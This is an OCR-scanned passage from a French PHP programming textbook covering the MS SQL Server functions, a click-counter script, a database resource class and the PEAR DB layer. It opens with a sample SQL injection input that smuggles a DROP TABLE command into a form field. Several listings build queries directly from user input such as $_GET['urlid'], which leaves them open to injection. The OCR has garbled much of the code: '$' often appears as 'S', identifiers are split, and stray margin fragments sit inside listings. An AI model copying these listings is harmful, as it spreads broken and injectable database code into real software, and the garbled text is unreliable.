une requete du genre : 

SELECT * FROM ma table WHERE champ= ' $param ' ; 
peut se tranformer en : 

SELECT * FROM matable WHERE champ= ' blabla ' ; DROP TABLE matable; 

si I'utilisateur a qui il a ete demande de saisir la valeur de $param dans un champ 
d'un formulaire a saisi "blabla'; drop table matable; '". 



Liberation des ressources occupees par une reponse SQL 

II est possible, voire conseille, de liberer la memoire occupee par le resultat d'une requete 
(notamment lorsqu'il est volumineux et que les requetes sont nombreuses) a l'aide de 

mssql_f ree_result ( ) . 



A 

ATTENTION 
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mssql_free_result () 



Cette fonction permet de liberer la memoire avant la fin du script (elle est automatiquement 
liberee a la fin d'un script). 

Syntaxe boolean mssql_f ree_resul t (resource $resultat) 

SidResultat Identifiant de resultat tel que retourne par mssql_query ( ) ■ 

retour TRUE en cas de succes, FALSE sinon. 



5 gj Nombre d'enregistrements 

_: CO 

Nombre d'enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.93 : count bd incphp 



<?php 

I** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** J 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

Srequete = "SELECT C0UNT(*) FROM Stable"; 
SidResultat = mssql_query (Srequete, SidConnexion) ; 

// Lecture du resultat 

if (Senreg = mssql_fetch_row($idResultat)) { 

echo "II y a " .$enreg[0] . " enregistrements dans la table. <br />"; 
return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 
return FALSE; 

} 
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Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de les compter au fur et a mesure de leur lecture. 

Listing 10.94 : countselectbdincphp 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mssql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et de comptage) des enregistrements 
$nb = 0; 

while ($row = mssql_fetch_row($idResultat)) { 

// Vous pouvez manipuler $enreg a votre guise 

//echo "FilmId=".$enreg[0] ." ". 

// "Film =" .$enreg[l] ."<br />"; 

$nb++; 

} 

echo "II y a $nb enregistrements dans la table. <br />"; 
return TRUE; 

} 



Enfin, ce que vous attendez tous : si vous souhaitez connaitre le nombre d'enregistrements 
avant de les lire, vous pouvez faire appel a la fonction mssql_num_rows ( ) . 



mssql_num_rows () 

Retourne le nombre d'enregistrements retournes par la requete SQL. 

Syntaxe int mssql_num_rows (resource $idResultat) 

$idResultat Identifiant de resultat tel que retourne par mssql_query ( ) . 

retour Nombre d'enregistrements. 
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Listing 10.95 : count_num_rows_bd_inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

echo "II y a " .mssql_num_rows ($i dResul tat) . " enregi strements ". 
"dans la table<br />"; 

return TRUE; 

} 

?> 

Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d' enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la fonction 
mssql_rows_af f ected ( ) . Elle prend en argument l'identifiant de connexion, et retourne le 
nombre d'elements affectes par la derniere requete. 

Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est notamment possible en recuperant le dernier message via la fonction 

mssql_get_last_message ( ) . 



mssql_get_last_message () 

Retourne le code d'erreur du dernier appel. 

Syntaxe string mssql_get_l ast_message(voi d) 

retour Le dernier message obtenu. 
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Modifier l'apparition des messages d'erreur 

Chaque erreur et message possede un degre d'importance. II est possible de preciser le degre 
d'importance minimal des erreurs et messages a afficher a 1'aide de deux fonctions : 



mssql_min_error_severity() 

Modifie le degre d'importance minimal des erreurs a afficher. 

Syntaxe void mssqljni n_error_severi ty (i nt $degre) 

$degre Degre d'importance minimal. 

mssql_min_message_severity() 

Modifie le degre d'importance minimal des messages a afficher. 

Syntaxe void mssql_min_message_severity(int $degre) 

$degre Degre d'importance minimal. 

Exemples d'applications 
Compteur de dies 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (a connaitre les centres d'interet 
des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker, en base de donnees, l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ wlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 

■ nbclic, le nombre de clics. 
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Le script de redirection (appele ici compteurclic_redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compleurclic_redireclion.php?urlid=3 (pour 
acceder a l'URL ayant l'identifiant 3). A supposer que 1'URL 3 corresponde au site http://www 
.sqlfacile.com, cela signifie que le lien <a href="http: / /www. sql facile. com ">devra etre 

remplace par <a href ="compteurclic_redirection.php?urlid=3> si Ton SOuhaite en 

compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.96 : compteurclic_bd_inc.php (debut) 

<?php 

//— 

// Charge les parametres de connexion 
// a la base de donnees. 

//— 

requi re_once ( "parametres_bd_i nc . php" ) ; 

I** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 

* 

* @return resource Identifiant de connexion 

7 

function CC_connexion() 

{ 

global $serveur, $base, $uti 1 i sateur, $motDePasse; 

$idConnexion = mssql_pconnect($serveur, $uti 1 i sateur, $motDePasse) ; 
if ( !$idConnexion) return FALSE; 
mssql_select_db($base) ; 

return $idConnexion; 

} 

I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

7 

function CC_deconnexion($idConnexion) 

{ 

return TRUE; 

} 

I** 

* Fonction charge de creer et d 1 al imenter 
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* la table "compteur de clics" 

** J 

function CC_ini ti al i seBD($i dConnexion, Stable) 

{ 

// Creation de la table 
$requete = "DROP TABLE Stable"; 
@mssql_query ($requete, $idConnexion) ; 

$requete = "CREATE TABLE Stable (". 

"urlld INTEGER ". 

"IDENTITY PRIMARY KEY,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.php.net 1 )"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www. phpfacile.com')"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if ( !mssql_query ($requete, $idConnexion)) return FALSE; 

return TRUE; 

} 

?> 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.97 : compteurclic_bd_inc.php (milieu) 

<?php 

I** 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 
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* - "nbclic" associe au tableau des nombres de clics 

** I 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redirection.php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query ($requete, $idConnexion) ; 

// Recuperation des enregistrements les uns apres les autres 
while ($enreg = mssql_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?url id=" . 

$enreg["url Id"] . "\">" . 
$enreg["url "] . "</a>" ; 
$liens["nbclic"] [] = $enreg["nbcl ic"] ; 

} 

return $liens; 

} 

?> 

L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href = "http : //www. sqifacile . com">http: //www 
. sqlf acile . com</a> a ete remplace par <a href="compteurclic__redirection 
.php?uriid=3 ">http: //www. sqifacile. com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.98 : compteurclic redirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

// Recuperation de 1'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl (SidConnexion, $_GET["url id"] ) ; 



// Deconnexion 
@CC_deconnexion() ; 
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// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 

} 



Ce script appelle principalement la fonction cc_recuperetrrl ( ) suivante : 
Listing 10.99 : compteurclic_bd_inc.php (fin) 

<?php 

I** 

* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de clics 
** I 

function CC_recupereUrl ($idConnexion, $urlid) 
{ 

global Stable; 
// Recupere 1 1 url 

$requete = "SELECT * FROM Stable WHERE url id=$url id" ; 
$idResultat = mssql_query ($requete, $idConnexion) ; 

if ($enreg = mssql_fetch_array($idResultat)) { 
$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbclic=nbclic+l WHERE url id=$url id"; 
mssql_query ($requete, $idConnexion) ; 
} else { 

$url = FALSE; 

} 

return $url ; 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 
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SuperTheque 

L'essentiel du code de l'application a ere presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions MS SQLServer pour implementer 1'interface 
Ressourceinterface c'est desormais chose faite: 



£ 2 

<= "£ <?php 
o c 

'■S O 



Listing 10.100 : RessourceMSSQLServer class.php 



CO 



i ncl ude_once( "Res source I nterface_cl ass . php" ) ; 
i ncl ude_once(di rname( FILE ) . "/. ./conf ig/mssql_cfg.php" 

/* 



/** 



1j <d * RessourceMSSQLServer_class.php 

o j§ * Classe d'acces a une base de donnees MS SQL Server 

* Cette classe doit implementer toutes les methodes de 1'interface 

* Ressourceinterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourceinterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $mssql_serveur, $mssql_uti 1 i sateur, $mssql_motDePasse; 
global $mssql_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = mssql_pconnect($mssql_serveur, 

$mssql_uti 1 i sateur, 
$mssql_motDePasse) ; 

if (!$idConnexion) return FALSE; 

mssql_sel ect_db($mssql_base) ; 

$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset() 

{ 

$requete = "DROP TABLE types"; 

$idResultat = @mssql_query ($requete, $this->idConnexion) ; 
//if (!$idResultat) return FALSE; 

$requete = "CREATE TABLE types (". 

"id INTEGER IDENTITY PRIMARY KEY,", 
"type VARCHAR(255))"; 
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$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = mssql_query ($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 



$requete = "DROP TABLE articles"; 

$idResultat = @mssql_query ($requete, $this->idConnexion) ; 

$requete = "CREATE TABLE articles (". 

"id INTEGER IDENTITY PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) NULL)"; 
$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($al bumld, " . 

.addSlashes($titre)."',". 

"$typeld"; 

if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ", '".addSl ashes ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 



public function getArticle($articleId) 
{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = mssql_fetch_array($idResultat)) { 
$article = $this->enreg2Article($enreg); 

} 

return $article; 
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public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

SnbTotalArticles = $this->getNbTotalArticles($filtre) ; 

if ($filtre->getAlbumId() != -1) { 
g «. $conditionSQL = "al bumld=" .$fi 1 tre->getAl bumld() ; 

-CD } 

J | if ($filtre->getTitre() != "") { 

j° "° $conditionSQL = $conditionSQL. 

|= -S " AND titre LIKE 1 ". 

addSl ashes ($f i 1 tre->getTi tre() ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId() ; 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " DESC"; 
$tri InverseSQL = "ORDER BY " .$tri ->getChamp() . " ASC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " ASC"; 
$triInverseSOL = "ORDER BY " .$tri ->getChamp() . " DESC"; 

} 

if ($pl age->getPremierArti cl e()+$pl age->getNbArti cl eMax() 
< $nbTotalArticles) { 

$requete = "SELECT * FROM (SELECT TOP ". 
$plage->getNbArticleMax() . 
" * FROM (SELECT TOP ". 
($pl age->getPremi erArti cl e () + 
$plage->getNbArticleMax()) . 
" * FROM articles"; 

$requete = $requete." WHERE " .$conditionSQL. " ". 

$triSQL.")". 
" AS filtrel " .$tri InverseSQL. ") " . 
" AS filtre2 ".$triSQL; 

} else { 

$requete = "SELECT * FROM (SELECT TOP ". 

($nbTotalArticles - $plage->getPremierArticle()) , 
" * FROM articles"; 



II II 
II \ il 



$requete = $requete." WHERE " .$conditionSQL. 

$tri InverseSQL. 
" AS filtrel ".$triSQL; 

$idResultat = mssql_query ($requete, $this->idConnexion) 
if (!$idResultat) return FALSE; 



866 



SQL Server (MS) 



$articles = NULL; 

while ($enreg = mssql_fetch_array($idResultat)) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 



public function getNbTotalArticles(Filtre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

$requete = $requete." WHERE ".$conditionSQL; 
$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

if ($enreg = mssql_fetch_array($idResultat)) { 

return $enreg[0] ; 
} else return FALSE; 

} 



public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 

$idResultat = mssql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = mssql_fetch_array($idResultat)) { 
$types[$enreg["id"]] = $enreg["type"] ; 

} 

return $types; 



public function getAl bumTypeId() 

{ 

return 1; 
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private function enreg2Arti cl e($enreg) 
{ 

$article = new Article(); 
$article->setld($enreg["id"]) ; 
$article->setAl bumld($enreg["al bumld"] ) ; 
$arti cl e->setTi tre ($enreg [" t i tre"] ) ; 
$articl e->setTypeId($enreg["typeId"] ) ; 
$articl e->setCommentai re($enreg ["commentai re"] ) ; 
return $article; 

} 

} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a 1'esprit que l'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage par page 

Contrairement a d'autres bases de donnees, Microsoft SQL Server ne dispose pas d'instruction 
permettant de recuperer n enregistrements a partir de l'enregistrement d'index i. II est par 
contre possible de ne recuperer que les n premiers enregistrements grace a l'instruction top. 

II est done possible de recuperer les i + n premiers articles puis d'aller directement a l'article 
i grace a la fonction PHP mssql_data_seek ( ) , qui permet de modifier le pointeur de sorte 
que le premier appel a une fonction telle que mssql_f etch_row ( ) ne renvoie pas la premiere 
ligne, mais la i-ieme. 



mssql_data_seek() 

Permet de deplacer le pointeur pour un appel a mssql_f etch_row ( ) , mssqi_f etch_array ( ) 

OU encore mssql_fetch_ob;ject ( ) . 

Syntaxe boolean mssql_data_seek(resource $idResultat, int 

$numeroLigne) 



SQL Server (MS) 



$idResul tat 
$numeroLi gne 



Identifiant de resultat tel que retourne par mssql_query ( ) . 
Numero de la ligne sur laquelle il faut deplacer le pointeur. 
TRUE en cas de succes, FALSE sinon. 



retour 



Si le nombre d'enregistrements dans la base est vraiment important (et que Ton recherche les 
donnees correspondant a un numero de page eleve), alors l'utilisation de TOP n'apportera 
finalement que peu de choses (puisque, de toute facon, il y aura bien plus de n enregistrements 
retournes). II peut alors etre interessant de demander a la base de donnees de ne retourner que 
les N enregistrements a partir de celui d'index i, quitte a lui donner plus de travail avec selon 
les cas, une requete: 

SELECT * FROM ( SELECT TOP <N> * FROM (SELECT TOP <I+N> * FROM table ORDER BY 
champ) AS filtrel ORDER BY champ DESC) AS filtre2 ORDER BY champ. 

si I+N est inferieur au nombre total d'enregistrements repondant aux criteres de selection ou 
a la requete: 

SELECT * FROM (SELECT TOP <nbTotalArticles - I> * FROM table ORDER BY champ 
DESC) AS filtrel ORDER BY champ. 

dans le cas contraire. 



Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 



II vous est possible de connaitre le nombre de champs retournes par une requete (et par 
consequent le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



Tri 



En savoir plus... 



... sur le resultat d'une requete 



mssql_num_fields () 



Retourne le nombre de champs du resultat. 



Syntaxe 



int mssql_num_fields(resource $resultat) 
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$resul tat Identifiant de resultat tel que retourne parmssql_query ( ; 

retour Nombre de champs disponibles dans le resultat. 



mssql_fetch_field () 

Retourne un objet contenant des informations sur un champ. 

Syntaxe object mssql_fetch_f i el d(resource $resul tat [, int 

$numeroCol onne] ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroCol onne Numero de la colonne dont on veut des informations. Si ce parametre n'est 
pas passe, les informations obtenues sont celles qui n'ont pas ete 
recuperees parmssql_f etch_f ield ( ) . 

retour Un objet possedant les attributs : 

name : nom de la colonne ; si cette colonne est le fruit d'une fonction, 
alors le nom retourne sera computed suivi d'un nombre. 
column_source : table d'ou provient la colonne. 
max_length : taille maximale de la colonne. 

numeric : 1 si la colonne est une colonne contenant des valeurs 
numeriques. 



mssql_field_length () 

Retourne la taille d'un champ. 

Syntaxe int mssql_field_length(resource $resultat [, int 

$numeroChamp] ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ sur lequel vous souhaitez des informations. Si ce 

parametre n'est pas passe, les informations obtenues sont celles qui n'ont 
pas ete recuperees parmssql_f etch_f ield ( ) . 

retour La taille du champ. 



mssql_field_name () 

Retourne le nom d'un champ. 

Syntaxe stri ng mssql_f i el d_name(resource $resul tat [, int 

$numeroChamp] ) 
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$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ dont on veut des informations. Si ce parametre n'est 

pas passe, les informations obtenues sont celles qui n'ont pas ete 
recuperees parmssql_f etch_f ield ( ) . 

retour Le nom du champ. 



mssql_field_type() 

Retourne le type d'un champ 
Syntaxe 



v> 
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string mssql_f i el d_name(resource $resul tat [, int 
$numeroChamp] ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ dont on veut des informations. Si ce parametre n'est 

pas passe, les informations obtenues sont celles qui n'ont pas ete 
recuperees parmssql_f etch_f ield ( ) . 

retour Le type du champ. 



mssql_field_seek() 

Deplace le pointeur de champ vers un autre. 



Syntaxe boolean mssql_fiel d_seek(resource $resultat, int 

$numeroCol onne) 

$resul tat Identifiant de resultat tel que retourne par mssql_query ( ] 

$numeroCol onne Numero de la colonne ou deplacer le pointeur. 
retour TRUE en cas de succes, FALSE sinon. 



10.14. Les couches d'abstraction 

Comme le demontre le sous-chapitre precedent et la liste de bases de donnees associee, il 
existe, quasiment, une bibliotheque specifique pour chaque serveur, alors que, quelle que soit 
la base, la nature des operations a realiser est toujours du meme type (connexion, soumission 
d'une requete, lecture des resultats, etc.). 

Tenant compte de cette observation, d'aucuns proposent des bibliotheques fournissant des 
fonctions identiques quelle que soit la base de donnees interrogee (on parle alors de couche 
d'abstraction). C'est du moins l'objectif, car, generalement, dans les faits, seul un petit nombre 
de bases de donnees est supporte. 
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L'interet des couches d'abstraction est bien evidemment de permettre de realiser facilement un 
script pouvant s'adapter a n'importe quelle base de donnees. Mais, la encore, il s'agit bien 
souvent d'un voeu pieu. En effet, comme vous avez pu le constater si vous avez lu le chapitre 
ODBC, toutes les bases de donnees n'implementent pas les memes instructions SQL, et 
chacune propose sa propre version. Ainsi, meme avec une couche d'abstraction, le code doit 
etre adapte et teste pour chaque type de base de donnees. Cela ne rend toutefois pas 
totalement inutiles les couches d'abstraction. 

Parmi les couches d'abstraction existantes nous avons : 

■ La bibliotheque Dbx ; 

■ La bibliotheque pear. 

Nous ne traiterons ici que la couche d'abstraction PEAR qui est la plus complete et nous 
semble par consequent la plus interessante. 



Pear DB 

La desormais celebre bibliotheque pear propose egalement une couche d'abstraction pour les 
bases de donnees. Celle-ci supporte a l'heure actuelle (avec plus ou moins de bonheur) les bases 
de donnees MySQL, PostgresSQL, Interbase, MiniSQL, MS SQL Server, Oracle 8i, Sybase, 
Informix, Frontbase, ainsi que les liaisons ODBC. 

Installation 

L'utilisation de pear db ne necessite aucune installation specifique (hormis l'installation des 
bases de donnees que vous souhaitez utiliser et leur "integration" a PHP). II suffit d'activer le 
support pear au niveau de PHP. 



Vous pouvez vous reporter aux sections propres aux bases de donnees pour plus de 

details sur la facon de faire pour les "integrer" a PHP. 
RENVOI 

Configuration de PHP avec le support PEAR 

Si vous ne disposez pas du paquetage DB ou si vous souhaitez obtenir la derniere version 
disponible tapez simplement (dans une console) la commande suivante 

pear upgrade DB 

Chaque script necessitant l'utilisation de pear db devra inclure la ligne : 
require_once("DB.php") ; 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 
■ Connexion grace a la methode statique de db : : connect ( ) . 
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Soumission de la requete via la methode DB->query ( ) . 

Deconnexion grace a la methode DB->disconnect ( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a la base de donnees s'opere grace a la methode statique db : : connect ( ) . 

DB:: connect () 

Etablit une connexion (persistante ou non) avec le serveur de bases de donnees. 

Syntaxe object DB: : connect (string $baseDeDonnees [, boolean 

$persi stance] ) 

$baseDeDonnees Precise la base de donnees selon la syntaxe typeServeur 
[ ( syntaxeSQL) ] : / / [utilisateur [ :motDePasse] @] 
[protocole ( ] [serveur] [)] [ /baseDeDonnees] , ou : 
typeServeur peut prendre l'une des valeurs suivantes "fbsgl" pour 
Frontbase, "ibase" pour Interbase, "ifx" pour Informix, "mysql" 
pour MySQL, "msql" pour MiniSQL, "mssql" pour MS SQL Server, 
"oci8" pour Oracle 8i, "odbc" pour une liaison ODBC, "pgsql" pour 
PostgreSQL ou "sybase" pour Sybase. 

syntaxeSQL peut prendre les valeurs "dbase", " fbsql", "ibase", 
"firebird", "ifx", "msql", "mssql", "mysql", "oci8", "sql92", 
"pgsql", "sybase". 

utilisateur est le nom de l'utilisateur. 

motDePasse est le mot de passe de l'utilisateur. 

protocole peut prendre les valeurs "tcp" ou "unix" (socket). 

serveur est nom du serveur eventuellement suivi de : puis du numero du 

port (protocole "tcp") ou le fichier de socket (protocole "unix") 

baseDeDonnees est le nom de la base de donnees, ou eventuellement le 

nom et le chemin du fichier de base de donnees. 

$persi stance Indiquez TRUE si vous souhaitez une connexion persistante, FALSE 

(valeur par defaut) sinon. 

retour ObjetZ)5 en cas de succes, objet DB_Error sinon. 

Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a la methode DB->query ( ) . 



DB->query() 

Execute une requete SQL. 
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mixed query (stri ng $requete) 
Requete SQL. 

Dans le cas d'une requete ne retournant pas de resultat (ex. : CREATE, 
INSERT, UPDATE), la methode retourne la constante DB_OK (1) en cas de 
succes, ou un objet DBJLrror sinon. 

Dans le cas d'une requete retournant des resultats (ex : SELECT) la 
methode retourne un objet DB_Result en cas de succes, ou un objet 
DBJLrror sinon. 

Une des fonctions les plus interessantes de cette couche d'abstraction est probablement la 
suivante: 



DB->limitQuery() 

Execute une requete SQL en ne demandant qu'un sous-ensemble des resultats (a la maniere de 
l'instruction limit que Ton peut retrouver avec MySQL et SQLite). 

Syntaxe mixed 1 imi tQuery (stri ng $requete, int $premierEnregistrement, 

int $nbEnregi strements) 

$requete Requete SQL. 

$premier 

Enregi strement Index du premier enregistrement a retourner. 
$nbEnregi strements Nombre d'enregistrement maximum a retourner 

retour Dans le cas d'une requete ne retournant pas de resultat (ex. : CREATE, 

INSERT, UPDATE), la methode retourne la constante DB_OK (1) en cas de 
succes, ou un objet DBJLrror sinon. 

Dans le cas d'une requete retournant des resultats (ex : SELECT) la 
methode retourne un objet DB_Result en cas de succes, ou un objet 
DBJLrror sinon. 

Nous verrons par la suite que, pour les bases de donnees le supportant, il est egalement possible 
d'utiliser des requetes preparees (contenant des parametres qui pourront etre modifies juste 
avant que celles-ci ne soient executees), et de desactiver le mode auto commit (validation 
automatique) pour avoir acces aux operations de commit (validation) et rollback 
(annulation). 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la methode DB->disconnect ( ) . 



Syntaxe 

$requete 
retour 
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CD 



DB->disconnect() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean disconnect() 

retour TRUE en cas de succes, FALSE sinon. 

Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. g- £>. 

= o' 

3 = 

CD* _ 
CD g- 

tK Verifiez les parametres *" M 

Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
